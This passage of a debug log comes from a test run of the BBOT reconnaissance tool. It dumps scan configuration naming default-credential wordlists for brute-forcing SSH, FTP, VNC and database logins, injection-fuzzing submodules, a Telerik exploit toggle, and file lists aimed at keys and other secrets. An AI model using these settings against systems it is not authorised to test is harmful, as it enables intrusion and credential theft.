'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'asn': {}, 'affiliates': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_awsj7y3s1x'}, 'started_at': '2026-02-27T19:08:04.278805', 'status': 'RUNNING'} -2026-02-27 19:08:04,983 [CRITICAL] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com -2026-02-27 19:08:04,983 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_enterprise_test_awsj7y3s1x', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_awsj7y3s1x', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'asn': {}, 'affiliates': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_awsj7y3s1x'}, 'started_at': '2026-02-27T19:08:04.278805', 'finished_at': '2026-02-27T19:08:04.840006', 'duration_seconds': 0.561201, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 19:08:04,984 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 19:08:04,984 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 19:08:54,439 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:08:54,449 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:08:54,449 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:08:54,450 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:08:54,451 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:08:54,452 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:08:54,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:08:54,453 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:08:54,454 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:08:54,454 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:08:54,455 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:08:54,455 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:08:54,460 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:08:54,461 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:08:54,461 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:08:54,462 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:08:54,463 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:08:54,463 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:08:54,464 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:08:54,465 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:08:54,466 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:08:54,466 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:08:54,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:08:54,468 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:08:54,468 [DEBUG] bbot.module_loader modules.py:152 